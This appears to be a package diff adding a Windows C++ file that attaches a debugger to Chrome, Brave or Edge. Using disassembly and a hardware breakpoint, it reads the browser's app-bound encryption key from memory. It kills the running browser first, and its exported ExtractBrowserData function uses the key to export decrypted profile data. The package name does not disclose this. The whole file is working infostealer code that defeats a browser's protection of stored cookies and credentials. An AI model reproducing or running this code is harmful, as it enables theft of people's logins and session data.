cold-debug-elevator 1.0.1

package/src/DebugChromium.cpp

@@ -0,0 +1,994 @@
+#define WIN32_LEAN_AND_MEAN
+#include <windows.h>
+#include <Zydis/Zydis.h>
+#include <iostream>
+#include <string>
+#include <optional>
+#include <cstdint>
+#include <cstring>
+#include <vector>
+#include <array>
+#include <unordered_map>
+#include <tlhelp32.h>
+#include <filesystem>
+#include "Utils.hpp"
+#include "BrowserExport.hpp"
+
+#define DEBUG_LOOP_TIMEOUT 90000
+#define APPBOUND_KEY_SIZE 32
+
+namespace fs = std::filesystem;
+
+static constexpr DWORD64 EFLAGS_TF = 1ull << 8;   // Trap Flag
+static constexpr DWORD64 EFLAGS_RF = 1ull << 16;  // Resume Flag
+
+bool ReadThreadContext(HANDLE hThread, CONTEXT& ctx)
+{
+	if (!hThread)
+		return false;
+
+	ctx = { 0 };
+	ctx.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_DEBUG_REGISTERS;
+
+	BOOL ok = GetThreadContext(hThread, &ctx);
+	return ok == TRUE;
+}
+
+bool WriteThreadContext(HANDLE hThread, CONTEXT& ctx)
+{
+	if (!hThread)
+		return false;
+
+	BOOL ok = SetThreadContext(hThread, &ctx);
+	return ok == TRUE;
+}
+
+struct BreakpointInformation
+{
+	uintptr_t address;
+	HANDLE hThread;
+	DWORD tid;
+};
+
+struct DebugModuleInfo
+{
+	uintptr_t base;
+	SIZE_T size;
+	std::unordered_map<DWORD, BreakpointInformation> breakpoints;
+};
+
+struct PESection
+{
+	uintptr_t Address;   // Runtime memory address: base + RVA
+	DWORD Rva;           // Offset from module base
+	DWORD Size;          // Virtual size in memory
+	const char* Name;
+};
+
+struct MemoryMatch
+{
+	uintptr_t Address;          // Absolute memory address of the match
+	DWORD OffsetInSection;      // Offset from section start
+};
+
+struct XrefInfo
+{
+	uintptr_t InstructionAddress;   // Runtime VA in debuggee process
+	DWORD InstructionRva;           // Offset from module base, useful in IDA/Ghidra
+	DWORD OffsetInText;             // Offset from .text section start
+	uintptr_t ReferencedAddress;    // Runtime VA of referenced target
+	char InstructionText[256];
+};
+
+struct KeyMovInsnResult
+{
+	void* movInstruction;        // remote address of: mov <reg>, r14/r15
+	SIZE_T movInstructionSize;
+
+	ZydisRegister movDstReg;
+	ZydisRegister movSrcReg;     // R14 or R15
+};
+
+struct SimpleOperand
+{
+	ZydisOperandType type;
+	ZydisOperandActions actions;
+	ZydisRegister reg;
+
+	bool isSrc;
+	bool isDst;
+};
+
+struct SimpleInstruction
+{
+	ZydisMnemonic mnemonic;
+	uint8_t length;
+	uint8_t operandCount;
+
+	SimpleOperand operands[ZYDIS_MAX_OPERAND_COUNT];
+};
+
+bool DecodeRemoteInstruction(
+	HANDLE hProcess,
+	void* remoteAddress,
+	SimpleInstruction* out
+)
+{
+	if (!hProcess || !remoteAddress || !out)
+		return false;
+
+	*out = {};
+
+	uint8_t bytes[ZYDIS_MAX_INSTRUCTION_LENGTH] = {};
+	SIZE_T bytesRead = 0;
+
+	if (!ReadProcessMemory(
+		hProcess,
+		remoteAddress,
+		bytes,
+		sizeof(bytes),
+		&bytesRead
+	))
+	{
+		return false;
+	}
+
+	ZydisDecoder decoder;
+
+	if (!ZYAN_SUCCESS(ZydisDecoderInit(
+		&decoder,
+		ZYDIS_MACHINE_MODE_LONG_64,
+		ZYDIS_STACK_WIDTH_64
+	)))
+	{
+		return false;
+	}
+
+	ZydisDecodedInstruction instruction = {};
+	ZydisDecodedOperand operands[ZYDIS_MAX_OPERAND_COUNT] = {};
+
+	if (!ZYAN_SUCCESS(ZydisDecoderDecodeFull(
+		&decoder,
+		bytes,
+		bytesRead,
+		&instruction,
+		operands
+	)))
+	{
+		return false;
+	}
+
+	out->mnemonic = instruction.mnemonic;
+	out->length = instruction.length;
+	out->operandCount = instruction.operand_count_visible;
+
+	for (uint8_t i = 0; i < instruction.operand_count_visible; i++)
+	{
+		out->operands[i].type = operands[i].type;
+		out->operands[i].actions = operands[i].actions;
+
+		out->operands[i].isSrc =
+			(operands[i].actions & ZYDIS_OPERAND_ACTION_READ) != 0;
+
+		out->operands[i].isDst =
+			(operands[i].actions & ZYDIS_OPERAND_ACTION_WRITE) != 0;
+
+		if (operands[i].type == ZYDIS_OPERAND_TYPE_REGISTER)
+			out->operands[i].reg = operands[i].reg.value;
+		else
+			out->operands[i].reg = ZYDIS_REGISTER_NONE;
+	}
+
+	return true;
+}
+
+static bool IsMovRegFromR14OrR15(
+	const ZydisDecodedInstruction& instruction,
+	const ZydisDecodedOperand* operands
+)
+{
+	if (instruction.mnemonic != ZYDIS_MNEMONIC_MOV)
+		return false;
+
+	if (instruction.operand_count < 2)
+		return false;
+
+	if (operands[0].type != ZYDIS_OPERAND_TYPE_REGISTER)
+		return false;
+
+	if (operands[1].type != ZYDIS_OPERAND_TYPE_REGISTER)
+		return false;
+
+	ZydisRegister src = operands[1].reg.value;
+
+	if (src != ZYDIS_REGISTER_R14 && src != ZYDIS_REGISTER_R15)
+		return false;
+
+	return true;
+}
+
+static bool IsAddressInsideRange(
+	uintptr_t address,
+	uintptr_t base,
+	SIZE_T size
+)
+{
+	if (!base || !size)
+		return false;
+
+	const uintptr_t end = base + size;
+
+	if (end <= base)
+		return false;
+
+	return address >= base && address < end;
+}
+
+bool FindChromiumMovKeyInstruction(
+	const PESection& textSection,
+	void* mappedTargetInstruction,
+	KeyMovInsnResult* result,
+	SIZE_T maxInstructionsUntilJns = 64,
+	SIZE_T maxInstructionsInJnsTarget = 64
+)
+{
+	if (!result)
+		return false;
+
+	*result = {};
+
+	if (!textSection.Address || !textSection.Size || !mappedTargetInstruction)
+		return false;
+
+	const uintptr_t textBase = textSection.Address;
+	const SIZE_T textSize = static_cast<SIZE_T>(textSection.Size);
+	const uintptr_t textEnd = textBase + textSize;
+	const uintptr_t target = reinterpret_cast<uintptr_t>(mappedTargetInstruction);
+
+	if (textEnd <= textBase)
+		return false;
+
+	if (!IsAddressInsideRange(target, textBase, textSize))
+		return false;
+
+	const auto* text = reinterpret_cast<const uint8_t*>(textBase);
+	SIZE_T offset = static_cast<SIZE_T>(target - textBase);
+
+	ZydisDecoder decoder = {};
+
+	if (!ZYAN_SUCCESS(ZydisDecoderInit(
+		&decoder,
+		ZYDIS_MACHINE_MODE_LONG_64,
+		ZYDIS_STACK_WIDTH_64)))
+	{
+		return false;
+	}
+
+	bool foundJns = false;
+	SIZE_T jnsTargetOffset = 0;
+
+	for (SIZE_T decoded = 0;
+		offset < textSize && decoded < maxInstructionsUntilJns;
+		++decoded)
+	{
+		ZydisDecodedInstruction instruction = {};
+		ZydisDecodedOperand operands[ZYDIS_MAX_OPERAND_COUNT] = {};
+
+		const ZyanStatus status = ZydisDecoderDecodeFull(
+			&decoder,
+			text + offset,
+			textSize - offset,
+			&instruction,
+			operands
+		);
+
+		if (!ZYAN_SUCCESS(status))
+			return false;
+
+		if (instruction.length == 0)
+			return false;
+
+		const uintptr_t instructionAddress = textBase + offset;
+
+		if (instruction.mnemonic == ZYDIS_MNEMONIC_JNS)
+		{
+			if (instruction.operand_count < 1)
+				return false;
+
+			const ZydisDecodedOperand& branchOperand = operands[0];
+
+			if (branchOperand.type != ZYDIS_OPERAND_TYPE_IMMEDIATE)
+				return false;
+
+			if (!branchOperand.imm.is_relative)
+				return false;
+
+			ZyanU64 absoluteTarget = 0;
+
+			if (!ZYAN_SUCCESS(ZydisCalcAbsoluteAddress(
+				&instruction,
+				&branchOperand,
+				static_cast<ZyanU64>(instructionAddress),
+				&absoluteTarget)))
+			{
+				return false;
+			}
+
+			const uintptr_t jnsTarget = static_cast<uintptr_t>(absoluteTarget);
+
+			if (!IsAddressInsideRange(jnsTarget, textBase, textSize))
+				return false;
+
+			jnsTargetOffset = static_cast<SIZE_T>(jnsTarget - textBase);
+			foundJns = true;
+			break;
+		}
+
+		offset += instruction.length;
+	}
+
+	if (!foundJns)
+		return false;
+
+	offset = jnsTargetOffset;
+
+	for (SIZE_T decoded = 0;
+		offset < textSize && decoded < maxInstructionsInJnsTarget;
+		++decoded)
+	{
+		ZydisDecodedInstruction instruction = {};
+		ZydisDecodedOperand operands[ZYDIS_MAX_OPERAND_COUNT] = {};
+
+		const ZyanStatus status = ZydisDecoderDecodeFull(
+			&decoder,
+			text + offset,
+			textSize - offset,
+			&instruction,
+			operands
+		);
+
+		if (!ZYAN_SUCCESS(status))
+			return false;
+
+		if (instruction.length == 0)
+			return false;
+
+		if (IsMovRegFromR14OrR15(instruction, operands))
+		{
+			result->movInstruction = reinterpret_cast<void*>(textBase + offset);
+			result->movInstructionSize = instruction.length;
+			result->movDstReg = operands[0].reg.value;
+			result->movSrcReg = operands[1].reg.value;
+
+			return true;
+		}
+
+		offset += instruction.length;
+	}
+
+	return false;
+}
+
+bool SetHardwareExecuteBreakpoint(HANDLE hThread, uintptr_t address, int slot)
+{
+	if (!hThread || hThread == INVALID_HANDLE_VALUE)
+		return false;
+
+	if (slot < 0 || slot > 3)
+		return false;
+
+	CONTEXT ctx = {};
+	ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
+
+	if (!GetThreadContext(hThread, &ctx))
+		return false;
+
+	switch (slot)
+	{
+	case 0:
+		ctx.Dr0 = address;
+		break;
+	case 1:
+		ctx.Dr1 = address;
+		break;
+	case 2:
+		ctx.Dr2 = address;
+		break;
+	case 3:
+		ctx.Dr3 = address;
+		break;
+	}
+
+	const uint64_t enableBit = 1ull << (slot * 2);
+	const uint64_t controlMask = 0xFull << (16 + slot * 4);
+
+	ctx.Dr7 &= ~enableBit;
+	ctx.Dr7 &= ~controlMask;
+
+	ctx.Dr7 |= enableBit; // local enable
+	ctx.Dr6 = 0;
+
+	return SetThreadContext(hThread, &ctx);
+}
+
+static bool ReadRemoteSection(
+	HANDLE hProcess,
+	const PESection& section,
+	std::vector<uint8_t>& outBytes
+)
+{
+	outBytes.clear();
+
+	if (!hProcess || hProcess == INVALID_HANDLE_VALUE)
+		return false;
+
+	if (!section.Address || !section.Size)
+		return false;
+
+	outBytes.resize(section.Size);
+
+	SIZE_T bytesRead = 0;
+
+	if (!ReadProcessMemory(
+		hProcess,
+		reinterpret_cast<LPCVOID>(section.Address),
+		outBytes.data(),
+		outBytes.size(),
+		&bytesRead
+	))
+	{
+		outBytes.clear();
+		return false;
+	}
+
+	if (bytesRead != outBytes.size())
+	{
+		outBytes.resize(bytesRead);
+	}
+
+	return !outBytes.empty();
+}
+
+bool GetRemoteModuleSize(
+	HANDLE hProcess,
+	void* remoteModuleBase,
+	SIZE_T* outSize
+)
+{
+	if (!hProcess || !remoteModuleBase || !outSize)
+		return false;
+
+	*outSize = 0;
+
+	SIZE_T read = 0;
+
+	IMAGE_DOS_HEADER dos = {};
+
+	if (!ReadProcessMemory(
+		hProcess,
+		remoteModuleBase,
+		&dos,
+		sizeof(dos),
+		&read
+	) || read != sizeof(dos))
+	{
+		return false;
+	}
+
+	if (dos.e_magic != IMAGE_DOS_SIGNATURE) // "MZ"
+		return false;
+
+	uintptr_t ntHeadersAddress =
+		reinterpret_cast<uintptr_t>(remoteModuleBase) + dos.e_lfanew;
+
+	DWORD ntSignature = 0;
+
+	if (!ReadProcessMemory(
+		hProcess,
+		reinterpret_cast<void*>(ntHeadersAddress),
+		&ntSignature,
+		sizeof(ntSignature),
+		&read
+	) || read != sizeof(ntSignature))
+	{
+		return false;
+	}
+
+	if (ntSignature != IMAGE_NT_SIGNATURE) // "PE\0\0"
+		return false;
+
+	IMAGE_FILE_HEADER fileHeader = {};
+
+	if (!ReadProcessMemory(
+		hProcess,
+		reinterpret_cast<void*>(ntHeadersAddress + sizeof(DWORD)),
+		&fileHeader,
+		sizeof(fileHeader),
+		&read
+	) || read != sizeof(fileHeader))
+	{
+		return false;
+	}
+
+	uintptr_t optionalHeaderAddress =
+		ntHeadersAddress + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER);
+
+	WORD optionalMagic = 0;
+
+	if (!ReadProcessMemory(
+		hProcess,
+		reinterpret_cast<void*>(optionalHeaderAddress),
+		&optionalMagic,
+		sizeof(optionalMagic),
+		&read
+	) || read != sizeof(optionalMagic))
+	{
+		return false;
+	}
+
+	if (optionalMagic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
+	{
+		IMAGE_NT_HEADERS64 nt64 = {};
+		if (!ReadProcessMemory(hProcess, reinterpret_cast<void*>(ntHeadersAddress), &nt64, sizeof(nt64), &read))
+			return false;
+		*outSize = static_cast<SIZE_T>(nt64.OptionalHeader.SizeOfImage);
+		return true;
+	}
+
+	if (optionalMagic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)
+	{
+		IMAGE_NT_HEADERS32 nt32 = {};
+		if (!ReadProcessMemory(hProcess, reinterpret_cast<void*>(ntHeadersAddress), &nt32, sizeof(nt32), &read))
+			return false;
+		*outSize = static_cast<SIZE_T>(nt32.OptionalHeader.SizeOfImage);
+		return true;
+	}
+
+	return false;
+}
+
+static std::wstring GetBaseName(const std::wstring& path)
+{
+	size_t pos = path.find_last_of(L"\\/");
+	if (pos == std::wstring::npos)
+		return path;
+
+	return path.substr(pos + 1);
+}
+
+static std::wstring StripWin32Prefix(std::wstring path)
+{
+	if (path.rfind(LR"(\\?\UNC\)", 0) == 0)
+		return L"\\" + path.substr(8);
+
+	if (path.rfind(LR"(\\?\)", 0) == 0)
+		return path.substr(4);
+
+	return path;
+}
+
+static std::wstring GetPathFromHandle(HANDLE hFile)
+{
+	if (!hFile || hFile == INVALID_HANDLE_VALUE)
+		return L"";
+
+	DWORD size = GetFinalPathNameByHandleW(
+		hFile,
+		nullptr,
+		0,
+		FILE_NAME_NORMALIZED | VOLUME_NAME_DOS
+	);
+
+	if (size == 0)
+		return L"";
+
+	std::wstring path(size, L'\0');
+
+	DWORD written = GetFinalPathNameByHandleW(
+		hFile,
+		path.data(),
+		size,
+		FILE_NAME_NORMALIZED | VOLUME_NAME_DOS
+	);
+
+	if (written == 0)
+		return L"";
+
+	path.resize(written);
+	return StripWin32Prefix(path);
+}
+
+struct DebugArgs
+{
+public:
+	std::wstring target;
+	std::vector<uint8_t> result;
+	uintptr_t breakpointOffset;
+	std::wstring targetDll;
+};
+
+static DWORD WINAPI DebugLoop(LPVOID param)
+{
+	DebugArgs* args = (DebugArgs*)param;
+	DEBUG_EVENT de = {};
+
+	STARTUPINFOW si = {};
+	PROCESS_INFORMATION pi = {};
+
+	si.cb = sizeof(si);
+
+	DWORD flags =
+		DEBUG_ONLY_THIS_PROCESS |   // debug only this process, not children
+		CREATE_NO_WINDOW;
+	
+	if (!CreateProcessW(
+		nullptr,
+		args->target.data(),
+		nullptr,
+		nullptr,
+		FALSE,
+		flags,
+		nullptr,
+		nullptr,
+		&si,
+		&pi
+	))
+	{
+		return 2;
+	}
+
+	bool shouldExitDebugger = false;
+	DebugModuleInfo targetDll = { 0 };
+	uintptr_t targetBpAddress = 0;
+	ZydisRegister srcRegister = ZYDIS_REGISTER_NONE;
+
+	while (!shouldExitDebugger)
+	{
+		if (!WaitForDebugEvent(&de, INFINITE))
+			break;
+
+		DWORD continueStatus = DBG_EXCEPTION_NOT_HANDLED;
+
+		switch (de.dwDebugEventCode)
+		{
+		case CREATE_PROCESS_DEBUG_EVENT:
+		{
+			if (de.u.CreateProcessInfo.hFile)
+				CloseHandle(de.u.CreateProcessInfo.hFile);
+
+			continueStatus = DBG_CONTINUE;
+			break;
+		}
+
+		case CREATE_THREAD_DEBUG_EVENT:
+		{
+			HANDLE hThread = de.u.CreateThread.hThread;
+			uintptr_t threadStartAddress =
+				reinterpret_cast<uintptr_t>(de.u.CreateThread.lpStartAddress);
+
+			if (targetDll.base < threadStartAddress &&
+				(targetDll.base + targetDll.size) > threadStartAddress)
+			{
+				if (targetBpAddress)
+				{
+					BreakpointInformation bp = { 0 };
+					bp.hThread = hThread;
+					bp.tid = de.dwThreadId;
+					bp.address = targetBpAddress;
+
+					bool ok = SetHardwareExecuteBreakpoint(hThread, bp.address, 0);
+
+					if (ok) {
+						targetDll.breakpoints[bp.tid] = bp;
+					}
+				}
+			}
+
+			continueStatus = DBG_CONTINUE;
+			break;
+		}
+
+		case LOAD_DLL_DEBUG_EVENT:
+		{
+			HANDLE hFile = de.u.LoadDll.hFile;
+			void* moduleBase = de.u.LoadDll.lpBaseOfDll;
+
+			std::wstring dllPath = GetPathFromHandle(hFile);
+			std::wstring dllName = GetBaseName(dllPath);
+
+			if (_wcsicmp(dllName.c_str(), args->targetDll.c_str()) == 0)
+			{
+				SIZE_T modSize = 0;
+				if (GetRemoteModuleSize(pi.hProcess, moduleBase, &modSize))
+				{
+					targetDll.base = reinterpret_cast<uintptr_t>(moduleBase);
+					targetDll.size = modSize;
+					
+					SimpleInstruction insn;
+					LPVOID bpAddress = reinterpret_cast<LPVOID>(targetDll.base + args->breakpointOffset);
+					if (DecodeRemoteInstruction(pi.hProcess, bpAddress, &insn)) {
+						if (insn.mnemonic == ZYDIS_MNEMONIC_MOV &&
+							insn.operandCount == 2 &&
+							insn.operands[1].isSrc &&
+							(insn.operands[1].reg == ZYDIS_REGISTER_R14 || insn.operands[1].reg == ZYDIS_REGISTER_R15)) {
+							targetBpAddress = reinterpret_cast<uintptr_t>(bpAddress);
+							srcRegister = insn.operands[1].reg;
+							continueStatus = DBG_CONTINUE;
+							break;
+						}
+					}
+				}
+			}
+
+			if (hFile)
+				CloseHandle(hFile);
+
+			continueStatus = DBG_CONTINUE;
+			break;
+		}
+
+		case EXCEPTION_DEBUG_EVENT:
+		{
+			const DWORD code = de.u.Exception.ExceptionRecord.ExceptionCode;
+			const auto& breakpoints = targetDll.breakpoints;
+
+			if (code == EXCEPTION_SINGLE_STEP)
+			{
+				auto it = breakpoints.find(de.dwThreadId);
+				if (it != breakpoints.end())
+				{
+					auto& bp = it->second;
+					CONTEXT ctx = { 0 };
+					if (!ReadThreadContext(bp.hThread, ctx))
+					{
+						continueStatus = DBG_EXCEPTION_NOT_HANDLED;
+						break;
+					}
+
+					bool hitHardwareBp = (ctx.Dr6 & 0xF) != 0;
+
+					if (hitHardwareBp)
+					{
+						LPVOID p_addr = NULL;
+						switch (srcRegister)
+						{
+						case ZYDIS_REGISTER_R14: p_addr = reinterpret_cast<LPVOID>(ctx.R14); break;
+						case ZYDIS_REGISTER_R15: p_addr = reinterpret_cast<LPVOID>(ctx.R15); break;
+						}
+
+						LPVOID addr = NULL;
+						SIZE_T bytesRead = 0;
+						if (ReadProcessMemory(pi.hProcess, p_addr, &addr, sizeof(uintptr_t), &bytesRead)) {
+							if (ReadProcessMemory(pi.hProcess, addr, args->result.data(), args->result.size(), &bytesRead))
+							{
+								ctx.Dr0 = 0;
+								ctx.Dr7 &= ~0x3ull;
+								ctx.Dr7 &= ~(0xfull << 16);
+								ctx.Dr6 = 0;
+								ctx.EFlags &= ~EFLAGS_TF;
+								ctx.EFlags &= ~EFLAGS_RF;
+
+								WriteThreadContext(bp.hThread, ctx);
+								TerminateProcess(pi.hProcess, 0);
+
+								continueStatus = DBG_CONTINUE;
+								return 0;
+							}
+						}
+						continueStatus = DBG_EXCEPTION_HANDLED;
+					}
+					continueStatus = DBG_CONTINUE;
+				}
+				else {
+					continueStatus = DBG_EXCEPTION_NOT_HANDLED;
+				}
+			}
+			break;
+		}
+
+		case EXIT_PROCESS_DEBUG_EVENT:
+		{
+			continueStatus = DBG_CONTINUE;
+			shouldExitDebugger = true;
+			break;
+		}
+
+		case EXIT_THREAD_DEBUG_EVENT:
+		{
+			auto it = targetDll.breakpoints.find(de.dwThreadId);
+			if (it != targetDll.breakpoints.end())
+			{
+				targetDll.breakpoints.erase(it);
+			}
+			continueStatus = DBG_CONTINUE;
+			break;
+		}
+
+		default:
+			break;
+		}
+
+		if (!ContinueDebugEvent(de.dwProcessId, de.dwThreadId, continueStatus))
+		{
+			break;
+		}
+	}
+
+	return 1;
+}
+
+struct MappedImageView
+{
+	HANDLE File = INVALID_HANDLE_VALUE;
+	HANDLE Mapping = nullptr;
+	void* Base = nullptr;
+
+	uint64_t FileSize = 0;        
+	DWORD SizeOfImage = 0;        
+	DWORD SizeOfHeaders = 0;
+	DWORD EntryPointRva = 0;
+	uintptr_t PreferredImageBase = 0;
+
+	bool Is64 = false;
+
+	~MappedImageView() { Close(); }
+	MappedImageView() = default;
+	void Close()
+	{
+		if (Base) { UnmapViewOfFile(Base); Base = nullptr; }
+		if (Mapping) { CloseHandle(Mapping); Mapping = nullptr; }
+		if (File && File != INVALID_HANDLE_VALUE) { CloseHandle(File); File = INVALID_HANDLE_VALUE; }
+	}
+};
+
+bool MapImage(fs::path path, MappedImageView& out)
+{
+	out.Close();
+	if (path.empty() || !fs::exists(path)) return false;
+	out.File = CreateFileW(path.wstring().c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_DELETE, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, nullptr);
+	if (out.File == INVALID_HANDLE_VALUE) return false;
+	LARGE_INTEGER fileSize = {};
+	if (!GetFileSizeEx(out.File, &fileSize) || fileSize.QuadPart <= 0) { out.Close(); return false; }
+	out.FileSize = static_cast<uint64_t>(fileSize.QuadPart);
+	out.Mapping = CreateFileMappingW(out.File, nullptr, PAGE_READONLY | SEC_IMAGE, 0, 0, nullptr);
+	if (!out.Mapping) { out.Close(); return false; }
+	out.Base = MapViewOfFile(out.Mapping, FILE_MAP_READ, 0, 0, 0);
+	if (!out.Base) { out.Close(); return false; }
+	auto* dos = reinterpret_cast<IMAGE_DOS_HEADER*>(out.Base);
+	if (dos->e_magic != IMAGE_DOS_SIGNATURE) { out.Close(); return false; }
+	auto* nt32 = reinterpret_cast<IMAGE_NT_HEADERS32*>(static_cast<uint8_t*>(out.Base) + dos->e_lfanew);
+	if (nt32->Signature != IMAGE_NT_SIGNATURE) { out.Close(); return false; }
+	if (nt32->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) {
+		auto* nt64 = reinterpret_cast<IMAGE_NT_HEADERS64*>(static_cast<uint8_t*>(out.Base) + dos->e_lfanew);
+		out.Is64 = true;
+		out.SizeOfImage = nt64->OptionalHeader.SizeOfImage;
+		return true;
+	}
+	out.Close();
+	return false;
+}
+
+bool GetPESection(void* imageBase, const char* sectionName, PESection& out)
+{
+	out = {};
+	if (!imageBase || !sectionName) return false;
+	auto* base = static_cast<uint8_t*>(imageBase);
+	auto* dos = reinterpret_cast<IMAGE_DOS_HEADER*>(base);
+	auto* nt = reinterpret_cast<IMAGE_NT_HEADERS64*>(base + dos->e_lfanew);
+	auto* section = IMAGE_FIRST_SECTION(nt);
+	for (WORD i = 0; i < nt->FileHeader.NumberOfSections; ++i) {
+		char name[IMAGE_SIZEOF_SHORT_NAME + 1] = {};
+		memcpy(name, section[i].Name, IMAGE_SIZEOF_SHORT_NAME);
+		if (_stricmp(name, sectionName) == 0) {
+			out.Rva = section[i].VirtualAddress;
+			out.Address = reinterpret_cast<uintptr_t>(base + section[i].VirtualAddress);
+			out.Size = section[i].Misc.VirtualSize ? section[i].Misc.VirtualSize : section[i].SizeOfRawData;
+			out.Name = sectionName;
+			return true;
+		}
+	}
+	return false;
+}
+
+bool FindBytesInSection(const PESection& section, const char* needle, MemoryMatch& out)
+{
+	out = {};
+	if (!section.Address || !section.Size || !needle) return false;
+	const auto* sectionBase = reinterpret_cast<const uint8_t*>(section.Address);
+	SIZE_T sectionSize = static_cast<SIZE_T>(section.Size);
+	SIZE_T patternSize = strlen(needle);
+	for (SIZE_T offset = 0; offset <= sectionSize - patternSize; ++offset) {
+		if (memcmp(sectionBase + offset, needle, patternSize) == 0) {
+			out.Address = reinterpret_cast<uintptr_t>(sectionBase + offset);
+			out.OffsetInSection = static_cast<DWORD>(offset);
+			return true;
+		}
+	}
+	return false;
+}
+
+bool TryResolveLikelyXrefTargetFast(const ZydisDecodedInstruction& instruction, const ZydisDecodedOperand& operand, uintptr_t instructionAddress, uintptr_t& outAddress)
+{
+	if (operand.type == ZYDIS_OPERAND_TYPE_MEMORY) {
+		if (operand.mem.base != ZYDIS_REGISTER_RIP) return false;
+		outAddress = static_cast<uintptr_t>(static_cast<int64_t>(instructionAddress + instruction.length) + static_cast<int64_t>(operand.mem.disp.value));
+		return true;
+	}
+	return false;
+}
+
+bool FindXrefInSection(const PESection& section, uintptr_t targetAddress, std::vector<XrefInfo>& outXrefs)
+{
+	outXrefs.clear();
+	ZydisDecoder decoder;
+	ZydisDecoderInit(&decoder, ZYDIS_MACHINE_MODE_LONG_64, ZYDIS_STACK_WIDTH_64);
+	const auto* text = reinterpret_cast<const uint8_t*>(section.Address);
+	SIZE_T textSize = static_cast<SIZE_T>(section.Size);
+	SIZE_T offset = 0;
+	while (offset < textSize) {
+		ZydisDecodedInstruction instruction;
+		ZydisDecodedOperand operands[ZYDIS_MAX_OPERAND_COUNT];
+		if (!ZYAN_SUCCESS(ZydisDecoderDecodeFull(&decoder, text + offset, textSize - offset, &instruction, operands))) { offset++; continue; }
+		for (ZyanU8 i = 0; i < instruction.operand_count_visible; ++i) {
+			uintptr_t referencedAddress = 0;
+			if (TryResolveLikelyXrefTargetFast(instruction, operands[i], section.Address + offset, referencedAddress)) {
+				if (referencedAddress == targetAddress) {
+					XrefInfo xref = {};
+					xref.InstructionAddress = section.Address + offset;
+					outXrefs.push_back(xref);
+					break;
+				}
+			}
+		}
+		offset += instruction.length;
+	}
+	return !outXrefs.empty();
+}
+
+std::optional<std::vector<uint8_t>> ExtractAppBoundKey(const fs::path& exePath)
+{
+	std::wstring targetDll;
+	MappedImageView image;
+	auto version_opt = FindChromeVersionFolder(exePath);
+	if (!version_opt) return std::nullopt;
+	
+	std::wstring filename = exePath.filename().wstring();
+	if (_wcsicmp(filename.c_str(), L"chrome.exe") == 0 || _wcsicmp(filename.c_str(), L"brave.exe") == 0) targetDll = L"chrome.dll";
+	else if (_wcsicmp(filename.c_str(), L"msedge.exe") == 0) targetDll = L"msedge.dll";
+	else return std::nullopt;
+
+	if (!MapImage(*version_opt / targetDll, image)) return std::nullopt;
+	PESection rdata, text;
+	if (!GetPESection(image.Base, ".rdata", rdata) || !GetPESection(image.Base, ".text", text)) return std::nullopt;
+	MemoryMatch match;
+	if (!FindBytesInSection(rdata, "OSCrypt.AppBoundProvider.Decrypt.ResultCode", match)) return std::nullopt;
+	std::vector<XrefInfo> xrefs;
+	if (!FindXrefInSection(text, match.Address, xrefs)) return std::nullopt;
+	KeyMovInsnResult mov;
+	if (!FindChromiumMovKeyInstruction(text, reinterpret_cast<void*>(xrefs[0].InstructionAddress), &mov)) return std::nullopt;
+	
+	DebugArgs args;
+	args.target = exePath.wstring();
+	args.result = std::vector<uint8_t>(APPBOUND_KEY_SIZE);
+	args.breakpointOffset = reinterpret_cast<uintptr_t>(mov.movInstruction) - reinterpret_cast<uintptr_t>(image.Base);
+	args.targetDll = targetDll;
+
+	KillProcessesByName(exePath.filename().wstring());
+	HANDLE hThread = CreateThread(nullptr, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(DebugLoop), &args, 0, nullptr);
+	if (!hThread) return std::nullopt;
+	if (WaitForSingleObject(hThread, DEBUG_LOOP_TIMEOUT) == WAIT_TIMEOUT) { TerminateThread(hThread, 1); CloseHandle(hThread); return std::nullopt; }
+	DWORD exitCode = 1;
+	GetExitCodeThread(hThread, &exitCode);
+	CloseHandle(hThread);
+	if (exitCode != 0) return std::nullopt;
+	return args.result;
+}
+
+extern "C" __declspec(dllexport) bool ExtractBrowserData(const wchar_t* browserPath, const wchar_t* outputPath)
+{
+	fs::path exePath(browserPath);
+	fs::path outRoot(outputPath);
+	auto key = ExtractAppBoundKey(exePath);
+	if (!key) return false;
+	return ExportBrowserProfiles(exePath, *key, outRoot);
+}